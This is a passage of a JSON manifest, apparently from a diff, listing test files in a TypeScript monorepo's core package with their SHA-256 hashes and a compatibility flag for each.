"packages/compute-boat/tests/stop-not-pause.test.ts":{"sha256":"0378a6d0b8e67019c8fd24fe833e98e8295b1a758cba8734cc58ff8bcf161126","compatible":true}, - "packages/core/tests/agent-runner-contracts.test.ts":{"sha256":"b3c5a05f0f4f54c82991fc08ff90723b6324edb677fc1680e07326e72e7c8fe5","compatible":true}, - "packages/core/tests/alias-column.test.ts":{"sha256":"e311f33eafd11939bf87920a33b1887a05a371d5742c6913fa21bcf54b4d20ed","compatible":true}, - "packages/core/tests/apify-site-permission.test.ts":{"sha256":"11d69d3c75ec36c045c2a7698adc6186da9c64bda2fe9443f90a4a0e2e5577cf","compatible":true}, - "packages/core/tests/archive-reliability.test.ts":{"sha256":"0bb826f81c84506ac1dbcef539cd9d32db42ff8f581e8aa05da4937eca8393d5","compatible":true}, - "packages/core/tests/asset-scan-exclude.test.ts":{"sha256":"2eb6bf3ff40b60fa1f27762df3640488c050f2bc8bc2187eb30ad090612ea1b8","compatible":true}, - "packages/core/tests/audit-grouped-findings.test.ts":{"sha256":"dc192bb526e5f855bf8933afc57ddbba0628f862c61ac02a81fb23252542e700","compatible":true}, - "packages/core/tests/auditor-canonical-policy.test.ts":{"sha256":"c00ac1335e699f6b5db4018198508474509ff8daef376eac65413ff15b999db4","compatible":true}, - "packages/core/tests/auditor.test.ts":{"sha256":"4ade87b574b6f2b499b7617a5621679a56be302be347bd8ec658c01241d9f1ab","compatible":true}, - "packages/core/tests/briefing-audit-count.test.ts":{"sha256":"af5e47dc89cea12470c1f3609a4029e73d9ec49df5dcae219d9933e1de90bb49","compatible":true}, - "packages/core/tests/briefing-focus-warnings.test.ts":{"sha256":"45db8400c22c5675e61eed715e47fd7320141e7fab42f13a734a8de7cfd56f7c","compatible":true}, - "packages/core/tests/briefing-stale.test.ts":{"sha256":"ccc3b87498e2ac40fce8330f82cc309cfd2be2fc52fc0087c11a58a69c51d8ab","compatible":true}, - "packages/core/tests/briefing.test.ts":{"sha256":"368c842579575152186814ea65a20c175b5bfc268b0a22d014f22528df3fea0f","compatible":true}, - "packages/core/tests/cache-location.test.ts":{"sha256":"2454a45666a7f8ce6fc08851a1338997e901bd1e2bb2727e4f26e985686ed929","compatible":true}, - "packages/core/tests/cache-merge.test.ts":{"sha256":"5bb457e906b6d67a0603b02517a1e657ba85047f695d67dd7b3308a174dda93a","compatible":true}, - "packages/core/tests/check-module-casts.test.ts":{"sha256":"5e088abae7edca2af1a1076ed343e55d86f28585e141fd222b42146c17e55594","compatible":true}, - "packages/core/tests/chunk-fts.test.ts":{"sha256":"ac97acc7781bb022d36e7cce928b5c95c70ea7a26acae3b422b810b30088f313","compatible":true}, - "packages/core/tests/chunker-version-readonly.test.ts":{"sha256":"3c5f47c8fa7d9ad3863f732746b62bd37cae7b0b98359408ec8f0aa9234cf0f7","compatible":true}, - "packages/core/tests/chunker.test.ts":{"sha256":"68b3f8c4c44dc855b98ffc580628ae815c44e5b198d40f18d7d69e1e00d54ed4","compatible":true}, - "packages/core/tests/claude-runner-binary.test.ts":{"sha256":"8e86749f15a39d234704b9d24e62abc83e2ac93f52a9450d41e7893b829b5252","compatible":true}, - "packages/core/tests/claude-runner-default-native.test.ts":{"sha256":"3ecee52b45499f4d39ee5bd1052e4d86af4e0da646dfb53020e44f7ca08bb392","compatible":true}, - "packages/core/tests/claude-runner-protocol.test.ts":{"sha256":"0bedba9b8b2bbcadbfc67b041b645ccb5c65bc932d7f0beece889e3f4c4670cd","compatible":true}, - "packages/core/tests/claude-runner-rejected-token.test.ts":{"sha256":"f8f2a6b0daab3007e461fc4c35afdcc587d91e155d845d72b944a5ae3a26f5e1","compatible":true}, - "packages/core/tests/claude-runner-subscription.test.ts":{"sha256":"dcba15b7c0ade6b6e122d0cf1047ed73abc0a02cccdb2887fcd68901ca5db324","compatible":true}, - "packages/core/tests/cli-args.test.ts":{"sha256":"fc0f48fb309741f1f710c37968124919848be6cdf867b40a9265b87b3c7c25b3","compatible":true}, - "packages/core/tests/cli-contract.test.ts":{"sha256":"50386c5511c16bf2e27921108b2d7609a4f24dec78bde767693a06df6ecb0d61","compatible":true}, - "packages/core/tests/cli-gemini-content-exclude.test.ts":{"sha256":"b5225fc02b14b2936614794ef17d60d6ce0b382dcb3b0e3ed80f90a556420ea0","compatible":true}, - "packages/core/tests/cli-harness-bin-home.test.ts":{"sha256":"441d450a1906634b81e543c176ebafae39e6a22190b5339248cd51ebdeca2690","compatible":true}, - "packages/core/tests/cli-harness-calendar.test.ts":{"sha256":"47548b845220e236149d066157edc59d47a68f5dc3053a2e9b8eb100b552760f","compatible":true}, - "packages/core/tests/cli-harness-host-isolation.test.ts":{"sha256":"406c0f4920f499ac6185089bc7e4b6a64d1fdf81570af11683c667eaabd810af","compatible":true}, - "packages/core/tests/cli-no-sql.test.ts":{"sha256":"e00e1b24383c559b7e66ba78afab4f16b2537d9662443724d045b8987f528478","compatible":true}, - "packages/core/tests/cli-onboarding.test.ts":{"sha256":"6109340b4378b2b3e6ebf65dfe26724ad22a67b6ec1b268f614c9e82c579e00c","compatible":true}, - "packages/core/tests/cli-output-completion.test.ts":{"sha256":"020eed0ae7b435fca7803b46a80e94f9100ea686bfcb8b1f377fa312ce96de6a","compatible":true}, - "packages/core/tests/cli-path-arguments.test.ts":{"sha256":"c0991e5de1ab295d259132acd73b3b8091cae9a5256072f9b80c1295b0dec434","compatible":true}, - "packages/core/tests/cli-read-many.test.ts":{"sha256":"aaace83bdb16b5abacdf9f2b90c22c4ed8b540b8edd4bf140bcbc045e7cd4564","compatible":true}, - "packages/core/tests/cli-read-only.test.ts":{"sha256":"100505cf8b97a734a77387820be5fffb4092849973c8406f727240ba41d5bb33","compatible":true}, - "packages/core/tests/cli-stats-exclude.test.ts":{"sha256":"eb0f7321bc8a85be81c162e281f8ba4b861db47f83fa71d34f89f906ddcd8642","compatible":true}, - "packages/core/tests/cli-vector-stats.test.ts":{"sha256":"742bb08db8e4970986f6fd2147a94321964cf417611d786367aa3371c0e6634c","compatible":true}, - "packages/core/tests/cli-withheld-providers.test.ts":{"sha256":"cd6ae7c5114402b697597e1263778ca1fa743692c242d36b570a953432e1f740","compatible":true}, - "packages/core/tests/compute-cli.test.ts":{"sha256":"b8146258a15a9f3753fe19a05ffa6a8d79abc0f7edd80e66c14fb90fedc83241","compatible":true}, - "packages/core/tests/compute-config.test.ts":{"sha256":"5335033f5ffe468d25e9f885840ee51737a38d465e050b53ad68a455ca9eb8af","compatible":true}, - "packages/core/tests/compute-contracts-nonconforming.test.ts":{"sha256":"73ddf1a96b4b7a90afd778cf7825dc3eb700f10b9c6aae8652a56445ea5b9f31","compatible":true}, - "packages/core/tests/compute-contracts.test.ts":{"sha256":"6109eb16a263436febd6c0683ff9f901e9789220344d7359e2ad261b52b6fd43","compatible":true}, - "packages/core/tests/compute-hosted.test.ts":{"sha256":"3b609d34121cff31db404bb3da9bcf81e98ce73ff52b6c6e27f3e9bffe2b8590","compatible":true}, - "packages/core/tests/compute-identity.test.ts":{"sha256":"ccdd06c52347afd5fbf3aa5328be74c00293d0e95747e951df46731a8671b08b","compatible":true}, - "packages/core/tests/compute-lifecycle.test.ts":{"sha256":"7202497c9c1ca3464ea621163179d2c063c1a456f7df69d967b7cbb9038e74a1","compatible":true}, - "packages/core/tests/compute-mcp.test.ts":{"sha256":"7b0ca0a5670314786909b26e32967a270cca2c883259883486c907c415654803","compatible":true}, - "packages/core/tests/compute-ops.test.ts":{"sha256":"69442d50e2929d677b335db67c56af0182fa827ba8f3203bd47e39ea69933662","compatible":true}, - "packages/core/tests/compute-race.test.ts":{"sha256":"48bad892e75ed5ec88bd72c264c70614ec3cf8c3741cda0afa59622985954d32","compatible":true}, - "packages/core/tests/compute-recovery.test.ts":{"sha256":"6a90212b7fe943aec8a03da4f1ee3594de03c5dad25a4b147e59e45fed967f71","compatible":true}, - "packages/core/tests/compute-refusals.test.ts":{"sha256":"a199e8d4ad6b43db7dad709e8ca864ba4bbd8c2c998433b74b1c600dd5472165","compatible":true}, - "packages/core/tests/compute-state.test.ts":{"sha256":"44514cd8553636b9c30615c9fe3ba91efd9f468feec962a11643cc823bf76b81","compatible":true}, - "packages/core/tests/containment-rows.test.ts":{"sha256":"b452875f7ea191408ea4f435580d1547156f78ad4a3acd494e69d799864ff8f6","compatible":true}, - "packages/core/tests/context-assembler.test.ts":{"sha256":"83ef40c2b249997896f0f16a7920d037704db6d41e725c766ac4ba70501cf8ca","compatible":true}, - "packages/core/tests/context-scope-surfaces.test.ts":{"sha256":"df4ddfde01a4ad9236576ea1668b74beb0e20add624852a6cf033b6f5f009dab","compatible":true}, - "packages/core/tests/context-scope.test.ts":{"sha256":"a23fd06810a9d3d6dc80125a07bdca6bc59f606660220fb4176acf13c6a17990","compatible":true}, - "packages/core/tests/contract-clock.test.ts":{"sha256":"408f440571063ec113ead9c63e22dde18da188be073e972269d05b8d8581441d","compatible":true}, - "packages/core/tests/data-only-frontmatter.test.ts":{"sha256":"de7464341526121a89ae3a07372b955a32e598c4880d0775ba1301f4da99ed05","compatible":true}, - "packages/core/tests/discovery-walk.test.ts":{"sha256":"0bac30ab603ba63f35dc5527982db1c1f493bc30a659f30df9043393fb661a7d","compatible":true}, - "packages/core/tests/doctor-git-hooks-packaged.test.ts":{"sha256":"56a81e96e5a52fa482484d1e7d2b5e5222368f77c00ad081a8ac5a9bbf9ee81a","compatible":true}, - "packages/core/tests/doctor-guarded.test.ts":{"sha256":"6fad07f54698c7ada0957ae73c61ceaec16f4c19ed76f195b97c9f2acac300f3","compatible":true}, - "packages/core/tests/doctor-instructions-weight.test.ts":{"sha256":"c0e2303bb49635a55c1a1d35b8cde50afc231d49ad6bd49ff1d1d34c48c9d5ce","compatible":true}, - "packages/core/tests/doctor-shadowed-commands.test.ts":{"sha256":"026deac12c91b21b563249e05430c0f1a5083d626a5f78bb29552e7d2a70cd7e","compatible":true}, - "packages/core/tests/doctor-tracked-leftovers.test.ts":{"sha256":"7942ca1002b3b8ecc717e0e983639918a05d0e184b5a824dc0139c4bdb588829","compatible":true}, - "packages/core/tests/doctor-tracked-media.test.ts":{"sha256":"1eae614e6c6289673cf70e953bb93026327512f60723db6933ad248ded4f6030","compatible":true}, - "packages/core/tests/doctor.test.ts":{"sha256":"ace5e4f37bf5f03f4d02bb0dae873beafc5c398df66a86b947c76077d9eecaae","compatible":true}, - "packages/core/tests/document-page.test.ts":{"sha256":"27b80146ffcd8667ee3a75b0dd9e7f1cbc06e020770e38aaeebe2caa7c9e913b","compatible":true}, - "packages/core/tests/document-parts.test.ts":{"sha256":"bcaa62afda58fd3b13bbad67c5ea121d3bae2888593b2666948c612ba723e719","compatible":true}, - "packages/core/tests/document-writes.test.ts":{"sha256":"05488fa7f180d5627ebd6c5c551d878fe1cbc599c7bdc0431d3aa5b943b8e760","compatible":true}, - "packages/core/tests/embed-on-commit.test.ts":{"sha256":"80c2c5ef0d4e74effbcfe8dc495532a92e78d016440803e3cd5ba10e27535444","compatible":true}, - "packages/core/tests/embedding-identity.test.ts":{"sha256":"e72f6a90e6888e6562d85ba7ebf72c1a9d1d2ce149d6d47f88e5d73f67637da0","compatible":true}, - "packages/core/tests/embedding-policy.test.ts":{"sha256":"7f3f037e05553f76e043355626f507d7484d025e7be1bbe7d22b885ee8fffed9","compatible":true}, - "packages/core/tests/enrichment.test.ts":{"sha256":"f7e09a05140f86993cd11d411262c85f92d7befaf9f1ed19cee6945d1a8d6b75","compatible":true}, - "packages/core/tests/env.test.ts":{"sha256":"ceeeff851aa12099c9220e743d28b224ea4088ac8c272c839061f5405d6115c7","compatible":true}, - "packages/core/tests/eval-baseline.test.ts":{"sha256":"1cc4b24c6430eb7ea1cf7f3cbbcf8da29990451a4b529b6192122b8dc3343fb1","compatible":true}, - "packages/core/tests/eval-cli.test.ts":{"sha256":"bbe89ddc5f403aceaf8314de838d8cb9b93b6ecff7e8b3288333457e0f49f29c","compatible":false}, - "packages/core/tests/eval-contamination.test.ts":{"sha256":"2b134f1a92df6ddc4a95cb8a0ce324991f264e79ac16769789f1e9d8c3c408a5","compatible":false}, - "packages/core/tests/eval-context.test.ts":{"sha256":"3933e977f8731584b2182b99ed226b0f08fa08a61ff3945a4ae3a90e65bf84b4","compatible":true}, - "packages/core/tests/eval-corpus.test.ts":{"sha256":"1820275a4ecec361b435b49b17de18c7d7502a0590bad4891fefec5c6bfc06e5","compatible":true}, - "packages/core/tests/eval-dates.test.ts":{"sha256":"46c5e23164176ebc146c8d2df2471ae8d12c704a50ab3931804480fde2e25f00","compatible":true}, - "packages/core/tests/eval-lint.test.ts":{"sha256":"6bde024e9d3ae722c65fa18003665e025056a6bc1aa2ae7323dfdacaff37f26f","compatible":true}, - "packages/core/tests/eval-set.test.ts":{"sha256":"4772ed86be1e5652a7bfc5651361f6373d57201d28951f7547957330f8c363ce","compatible":true}, - "packages/core/tests/exclude-policy.test.ts":{"sha256":"dcce8d93779961cd22574405844af4d306ce02de3a43a52b10ff3a83778c51c5","compatible":true}, - "packages/core/tests/fact-drift-exact-values.test.ts":{"sha256":"3f89e97759ae63158617636d666ec89ff22b7a64d6242482a22a3e8b3cc2fcf6","compatible":true}, - "packages/core/tests/frontmatter-edit.test.ts":{"sha256":"6fe9edadf89d0939dd151d351718f323d407e154dd2a26544de59b4688d97c73","compatible":true}, - "packages/core/tests/frontmatter-fences.test.ts":{"sha256":"cf14f28196fba2e367d2caa8af21b2f3c67094e18a47f797e35c85b9c595a7e2","compatible":true}, - "packages/core/tests/frontmatter-parse.test.ts":{"sha256":"884a1158f9f408138b3c1b1cc12f0f8471c1d40d71c09433a1301046a2f50b7c","compatible":true}, - "packages/core/tests/frontmatter.test.ts":{"sha256":"f48d8a4e49e426edc29776760a6dc73c7db88b45c6c100c125d1bd8e1b11ddae","compatible":true}, - "packages/core/tests/gemini-query.test.ts":{"sha256":"ea8675e5e59442c1d23fecbb31601c8048c22fe36712a050c5fefeb3c40b8812","compatible":true}, - "packages/core/tests/generated-from.test.ts":{"sha256":"ca7d581c0a9465e70c2148211cd468344269ac3b26f245e7552a77c1adc56a14","compatible":true}, - "packages/core/tests/geo-cli.test.ts":{"sha256":"33d856f3daeecb26b3f584f89b600abfda1a1c1f4e791efe1da02e906891a4e2","compatible":true}, - "packages/core/tests/geo-config.test.ts":{"sha256":"e248be67eaa8fdcf1efa0018e354094fe3d35ac935099c610ac39450ab75e31c","compatible":true}, - "packages/core/tests/governance-policy.test.ts":{"sha256":"862eede59aca2e27ec6e2597ac81fa542a120b4632f6773a16c803953cf5a4d7","compatible":true}, - "packages/core/tests/graph-profiles.test.ts":{"sha256":"2201e8d5d34febcc66e6c59b54eee1ac625268c09808667c34cf45440613d895","compatible":true}, - "packages/core/tests/graph.test.ts":{"sha256":"5f816a101afd02c9bcadd72f8ce38f591176a8fcf3c4eefd5fb8e45e5032c364","compatible":true}, - "packages/core/tests/hygiene-media.test.ts":{"sha256":"85845eb3e02733f5eb616a3c7e9aace5eed1c0a23c2838c419e47774d308dbd4","compatible":true}, - "packages/core/tests/hygiene-next.test.ts":{"sha256":"a9d7539ef5769affc440bba2849b97ce268ed7d8e12cfeb46e2888e79c658a11","compatible":true}, - "packages/core/tests/hygiene-repair.test.ts":{"sha256":"3c7d3224a9eccea2e135056777ab6efbc2ecece166c72f4f49a090be0dd7d19c","compatible":true}, - "packages/core/tests/hygiene-review.test.ts":{"sha256":"9e25acf4046927502b553989a5cbd2a99be1d0f0b5d50921a9cb757773470a5b","compatible":true}, - "packages/core/tests/hygiene.test.ts":{"sha256":"332bfffc9cba8b98c9ccd27844418db2c7b304138698845b7a6241d6a5b0bfb0","compatible":true}, - "packages/core/tests/index-location.test.ts":{"sha256":"c73506f9461022d5c4da185c841dad950647263112ee54b3987c52e2c7670313","compatible":true}, - "packages/core/tests/index-staleness.test.ts":{"sha256":"fe2deb849536c47d356c276533a5f3d37f281c133dba578c088b4a0ed186900a","compatible":true}, - "packages/core/tests/indexer-reliability.test.ts":{"sha256":"249c10cac2ed033f8393f07158cc1ea7d0f4991f00eb2f361c2b044ab32b2978","compatible":true}, - "packages/core/tests/indexer-targeted.test.ts":{"sha256":"cbddce1079f78f42ab905766ac543e6bbc973b9642fb61f9b88e1de11ac59665","compatible":true}, - "packages/core/tests/indexer.test.ts":{"sha256":"b75f0a89e032e8f2fd3bae6f084b9805876723ec4bc6179c7deeda9d7351d2fa","compatible":true}, - "packages/core/tests/ingestion.test.ts":{"sha256":"5242c7ae2aac71d03497f7966b52c45242457169e4a967f292a5a600bf2dc658","compatible":true}, - "packages/core/tests/instructions-weight.test.ts":{"sha256":"4fe6faadeb26aa24da3ed0d078c466ff5425194b10ab1fa8c516a65fe477bde0","compatible":true}, - "packages/core/tests/jev-client.test.ts":{"sha256":"1462266f1a0df178be4cec413c06d49439b9d6930f9b59f8ed3e1059de3f84ae","compatible":true}, - "packages/core/tests/jev-reranker.test.ts":{"sha256":"ab169415678bfc7e4db517013ec98ef3173730bafe4c0e07b7e5835387b105dc","compatible":true}, - "packages/core/tests/link-walk.test.ts":{"sha256":"a559c0c2723f1e602527c2f2012dfe49ff006772e4e8a92e9ff4921f4ea5f73c","compatible":true}, - "packages/core/tests/links-target-index.test.ts":{"sha256":"ea03bf553b162a5652d21233ab713bb0677be441b141654094f605ed4df2eb76","compatible":true}, - "packages/core/tests/llm-util.test.ts":{"sha256":"2e2377769b01440e76d656cb5aca46cf686f117769e7a0d9a88b0c2bc891d6f5","compatible":true}, - "packages/core/tests/maintain.test.ts":{"sha256":"f5fcd595af6fbf3bcef0a2e523d8587a6df80cf6e47ddcb4a935c7457f697a85","compatible":false}, - "packages/core/tests/markdown-fences.test.ts":{"sha256":"1e164796268138c5a4408ef66a327406c2ed391a6d0665197dfa80a2948b36e4","compatible":true}, - "packages/core/tests/mcp-contract.test.ts":{"sha256":"8e7456758f04221788717025f67dac0063e040a8de3cf30ef5483b56894b15ef","compatible":true}, - "packages/core/tests/media-config.test.ts":{"sha256":"0b1c38e4c9c127891397d09506457168cfe21a59dfdb2b09508280b2f6881893","compatible":true}, - "packages/core/tests/media-effects.test.ts":{"sha256":"c10e78eb1871d0640aca8e082d46225cb7ccdfa4c5754a30ebe353dbdcdbbd9d","compatible":true}, - "packages/core/tests/media-inventory.test.ts":{"sha256":"322898ed2b7144529fb8e5ef4d8a1a618640838b9ad78b0a4707af7820a03410","compatible":true}, - "packages/core/tests/media-probe.test.ts":{"sha256":"4bdaa3137999e574a124e965359fdbddd315bf72c1545cef5e9777bb2773d963","compatible":true}, - "packages/core/tests/media-references.test.ts":{"sha256":"44cb41d3ed2f5dbd9760cb13079bfb1b5497e610c2f6b91be1a0539382e354fe","compatible":true}, - "packages/core/tests/media-review-contract.test.ts":{"sha256":"886ea60ed75acec6884c64871cdd128e9a56f079f8591f7c08a4456292aafe06","compatible":true}, - "packages/core/tests/module-author-typing.test.ts":{"sha256":"98b579f76b8eea6ad48c2e8f5fdd47f58b663fc5f485646188b061da97674068","compatible":true}, - "packages/core/tests/module-dormancy.test.ts":{"sha256":"5d363c452412d8247eb73e3626c9b14ea2988acd9171195deea38408d6b9e70e","compatible":true}, - "packages/core/tests/module-entry.test.ts":{"sha256":"692cd8ba2c30fc583d64a15d3801a3d72cf8ba4f31a43512ca6596e60c0e0880","compatible":true}, - "packages/core/tests/module-loader-containment.test.ts":{"sha256":"e4f010026e5045838ffaeca45672066a2725729849a0815590f096bf070f3b9a","compatible":true}, - "packages/core/tests/module-mcp-tools.test.ts":{"sha256":"b99a12258f13e57a209bb735904f2c8311b97bf55d59ea6d61ea06e1cbfaff94","compatible":true}, - "packages/core/tests/module-renderers.test.ts":{"sha256":"f4f349da2303ffade4187a53a919d4d3809256d121c20b990931653eb12c6726","compatible":true}, - "packages/core/tests/module-repositories.test.ts":{"sha256":"0235e9c912210b280e3457df62b0ff47bdbfd1ee1b945225289f3cb575ed35c5","compatible":true}, - "packages/core/tests/module-settings.test.ts":{"sha256":"c82a241d918388407ad40375844dfab21f78c6fd617e727a47b4fcd5ab18dccc","compatible":true}, - "packages/core/tests/module-state.test.ts":{"sha256":"8463e4a9affd4c47ad8e2431ad9d8ecb27978a45d6a29c9e2ae04ca43fd274a2","compatible":true}, - "packages/core/tests/module-tool-lint.test.ts":{"sha256":"b6e14cc360fc25a9ac184f6a580d168f440a4a63df85596a20c7927c758e2636","compatible":true}, - "packages/core/tests/okf-exporter.test.ts":{"sha256":"6db72d13f26a72d5e012e2e387caeb135b0f204b845817820925f090ddecead3","compatible":true}, - "packages/core/tests/ops.test.ts":{"sha256":"07f1b4218faec0003065857d1f844e6f32096ccb1fe4c04f850c9959540781f0","compatible":true}, - "packages/core/tests/paid-provider-qualification.test.ts":{"sha256":"7e2c8b0677d9988989d63b6fa68a093c39bcd809fd0b1d53985c95ea7784367b","compatible":false}, - "packages/core/tests/policy-cli.test.ts":{"sha256":"c666770b79fc6bd9b9c29b8f0d1bd2771b2767fa40f2afc1e9e86ff67c440024","compatible":true}, - "packages/core/tests/propagation-review.test.ts":{"sha256":"fb30d1da18f5e4cc423cde7486ccb5ddc0ba53b1bdc184292bdbd2eff5338481","compatible":true}, - "packages/core/tests/provider-availability.test.ts":{"sha256":"307155350bd5adfee65b228d4ded55f5270e5b200fec9e7654af07fc9459ccb9","compatible":true}, - "packages/core/tests/provider-relay-jev.test.ts":{"sha256":"3ebdfe62b342f5f7905f455605e605c6d5aa87c03ada33a12bc666a0ed4790fd","compatible":true}, - "packages/core/tests/provider-relay-video.test.ts":{"sha256":"9f33d1a3b5ccbddcb25e88e1779e02292c60e583cf6400172bf65422d813e16c","compatible":true}, - "packages/core/tests/provider-routing.test.ts":{"sha256":"f4820b2fdd35be2f70f65e45468bb5fbb5ff35b43547ae772aa9c9f29e0b468f","compatible":true}, - "packages/core/tests/read-many.test.ts":{"sha256":"c88f6a674d0024829482448e95c307a298845019ccc0ec761220529dc5b74c82","compatible":true}, - "packages/core/tests/registry-regions.test.ts":{"sha256":"f20e2cd97aa2adab332eab923973b7adc3abd988adc8325ad24ada0863daa6df","compatible":false}, - "packages/core/tests/registry.test.ts":{"sha256":"3597566a72bc983d9eedbca4bc315a7ed1f56743056432fcdaaf4905804f12b4","compatible":true}, - "packages/core/tests/render-scratch.test.ts":{"sha256":"cc3e47d3ad266491c30d3dd77bb548e540c70db2a52d31ff03460e4edd2f728a","compatible":true}, - "packages/core/tests/render-static.runtime.test.ts":{"sha256":"e692d177d59f00d6d11860f059436535b177cf241fa596337318f263638ce7eb","compatible":true}, - "packages/core/tests/render-static.test.ts":{"sha256":"2ba57ba4c3f02dd1d4192f5357287660e388af7f4c5c3c8b65dc8d08a944a3f8","compatible":true}, - "packages/core/tests/render-write.test.ts":{"sha256":"61de645b19bb37f7f5c5072d628ddc797f378e03a4cdf75ffa31e725c0590746","compatible":true}, - "packages/core/tests/render.test.ts":{"sha256":"0c620d8d8bc6cf8f4a5b14ee754daca9cef9ff6aa38e105cc4dd9f3ff3359ada","compatible":true}, - "packages/core/tests/rerank-half-lives.test.ts":{"sha256":"ea99475107c0ce35bfb6e9cbb601bc6e8c3b9c5962dea8b885a3e844754100ce","compatible":true}, - "packages/core/tests/reranker-activation.test.ts":{"sha256":"965e8ca378c8f540872857ce841b9aa4400339c06aba4991dd928ef2edf0628b","compatible":true}, - "packages/core/tests/reranker-helpers.test.ts":{"sha256":"3c7542bdbec5f043600573f2da2309db6eec3018706afe628c903f4bae50d31d","compatible":true}, - "packages/core/tests/reranker.test.ts":{"sha256":"1b1a33c79067f5492b4c0aeacd97839a9dba7be20f67782540f416df71849895","compatible":true}, - "packages/core/tests/safe-path.test.ts":{"sha256":"fdc3493fa3265526bef65cd6999416771025c994807933d4cd508a71f443c987","compatible":true}, - "packages/core/tests/schedule-namespace-exclude.test.ts":{"sha256":"0e463971b555b308059169a09641dfad5c8def77e742d87ea878d6d578f23711","compatible":true}, - "packages/core/tests/scratch-pins.test.ts":{"sha256":"4070503ca3d305d6dafd5dfe7e4983b5cc4f448eb73ee06b219465b25f0ad6b7","compatible":true}, - "packages/core/tests/scratch-publication.test.ts":{"sha256":"52fafccbd1863642f62e712bca44fbf566ec9ae056badd022d75abdf5e4189db","compatible":true}, - "packages/core/tests/scratch.test.ts":{"sha256":"aa80376d973f0b157d5a8bc4a85f04b85f0005c53f77c2bfb77454ad1ffcb78f","compatible":false}, - "packages/core/tests/seam-contracts-nonconforming.test.ts":{"sha256":"321c17e31d20083202babdabdb6d846a5bfa7c29f0ecb91d5b2548a83df896aa","compatible":true}, - "packages/core/tests/seam-contracts.test.ts":{"sha256":"e523b1fb2e6c983bf96401cedbdb44598d10340ecdd4af6a92f8c8aec214e7e6","compatible":true}, - "packages/core/tests/search-dates.test.ts":{"sha256":"9af02e6bb53dc4e138c04135d40ba409b72432ec8d822784bacdd8db5a2ad8f2","compatible":true}, - "packages/core/tests/search-language.test.ts":{"sha256":"24568907301d9f84ae8895c8f65bb4638bd40c71e67ac69183bc91b3e1e30ae9","compatible":false}, - "packages/core/tests/search-reliability.test.ts":{"sha256":"2dd8217d10471ee407cad422c5bc486a4d1fa5710efc4e1f1c2320e78d0939e4","compatible":true}, - "packages/core/tests/search-rerank.test.ts":{"sha256":"c4852b5b8d5265232f7b7c370777a7adb4474d9c6c7391fc674e48c8f851bc29","compatible":true}, - "packages/core/tests/search-result-tags.test.ts":{"sha256":"af9842a7dc6db1cde7b24f9edebe8de24c035e3cd5302668525fc518ddf58961","compatible":true}, - "packages/core/tests/self-heading-links.test.ts":{"sha256":"5cb76dae1f57256f4c0cfdf0cfa158d3bb5e130798ee2ae768ef783bd724aa21","compatible":true}, - "packages/core/tests/skills-claude-emitter.test.ts":{"sha256":"3bcd436d07d20d6729f5db33d2b7827a0c1b044fa9dfcd86a6fd2c0b83643548","compatible":true}, - "packages/core/tests/skills-discover.test.ts":{"sha256":"b1a59499720b1f9050095b74ddf871e0e946f2ef3c4012ce4e1f65f0a85089ac","compatible":true}, - "packages/core/tests/skills-index-emitters.test.ts":{"sha256":"8589b8c9646e2e3f7c348be57dd8e891d52aed7026ba6e7294b2122b5dbbdc40","compatible":true}, - "packages/core/tests/skills-installation.test.ts":{"sha256":"c63f186b8d5c5b7f93bb6232e48d30a100a88d72c2edfa5865d64dfb1a1f4c26","compatible":true}, - "packages/core/tests/skills-lint.test.ts":{"sha256":"8657cee8b645ce37981b58761b7c48cd7551d82cc034415ae925541fa1db6d02","compatible":true}, - "packages/core/tests/skills-pi-emitter.test.ts":{"sha256":"ebbbb48724c3ddd1c9effb5ba1584d9ae8b0ad15f47715a8cbdaaeccae0e2bc4","compatible":true}, - "packages/core/tests/skills-shipped-lint.test.ts":{"sha256":"87cd7cd2a41ff00a1e24c6199d12cfab177099db4a983207721ba700c57dd638","compatible":true}, - "packages/core/tests/stats-history.test.ts":{"sha256":"aa6eb4d242c28950f3ff2f58587cbf051507141f4c8afc2efbaf7b64b7d21781","compatible":true}, - "packages/core/tests/stats-output.test.ts":{"sha256":"0607a000d724489114022fabb3e0fb6df224d7e95f4a772e269f33473bb4ef1b","compatible":true}, - "packages/core/tests/stats-trends-cli.test.ts":{"sha256":"d275fc195950399c3e1985ba85e24ed42041b0f72ccc657afce5f87b76e1a9a7","compatible":true}, - "packages/core/tests/stats-trends.test.ts":{"sha256":"c66b4c1275cc7af14a2f7e1a1e2a4c98c755c923690a284c00d56c2f95be460f","compatible":true}, - "packages/core/tests/stats.test.ts":{"sha256":"c93ec5690ba2e844436965f698e0fbd0d06a6ce6e2fb39960df5eed4e8cf6736","compatible":false}, - "packages/core/tests/storage-attachment-facts.test.ts":{"sha256":"208350cc6604c5fb9d65d32e9054830a2f1d118f867a186564737456b79a66e3","compatible":true}, - "packages/core/tests/storage-attachments.test.ts":{"sha256":"e0a30044216b9a14c541a01bab92791c6ffce5dcdb9d3794fc76bd2c530686bb","compatible":true}, - "packages/core/tests/storage-host-reader.test.ts":{"sha256":"c75d7453fe1aaf546c4b045faf0605f65b016647768aa7759de740bbe118dbe2","compatible":true}, - "packages/core/tests/storage-inventory.test.ts":{"sha256":"e3ccb677b1c8e3a651b9e1bdbb95974fa74b389cfa992fd788ee2b71e1f06a7a","compatible":true}, - "packages/core/tests/storage-pack-compatibility.test.ts":{"sha256":"398077dfd5a72d05b61d837abb3d76631a5f28031c98d5074647f9c373f06950","compatible":true}, - "packages/core/tests/storage-pack.test.ts":{"sha256":"855f2aac8dc1d6d135fe9fc30813b699fbbb57217c3441caed0014a743392443","compatible":true}, - "packages/core/tests/storage-references.test.ts":{"sha256":"ea3096c46dfe7c9bd4f421ab64b5459ea90d5c558565cd478f83c54b9fb4cf92","compatible":true}, - "packages/core/tests/supersedes.test.ts":{"sha256":"934e731b210ba318069239a80ee7ee70bf18c7c16f3e4a670dc8633d14140256","compatible":true}, - "packages/core/tests/sync-artifacts.test.ts":{"sha256":"506834a73a5c0aa17c1aa95cfeae6ee246735ab5a42696a35b3f7a614965539e","compatible":true}, - "packages/core/tests/sync-assess.test.ts":{"sha256":"4fbc26bb4606db0fe313356f9fe388bfe77e3c5ca2fee062c84ca08f8d20d266","compatible":true}, - "packages/core/tests/sync-cache-commit.test.ts":{"sha256":"1bc4b2cd6f60679c7eb1c183903087f155277f2d7d41025d31a9de1f812af335","compatible":true}, - "packages/core/tests/sync-commit.test.ts":{"sha256":"90dde7d8bdccfd7b2801eb775ec2c8c6abb0842161896d1ff334322badd79bfc","compatible":true}, - "packages/core/tests/sync-dirt.test.ts":{"sha256":"8ae4cb0fe1c359b1827c1579081988d91585173d65e53e26ad49cd717bc72fe3","compatible":true}, - 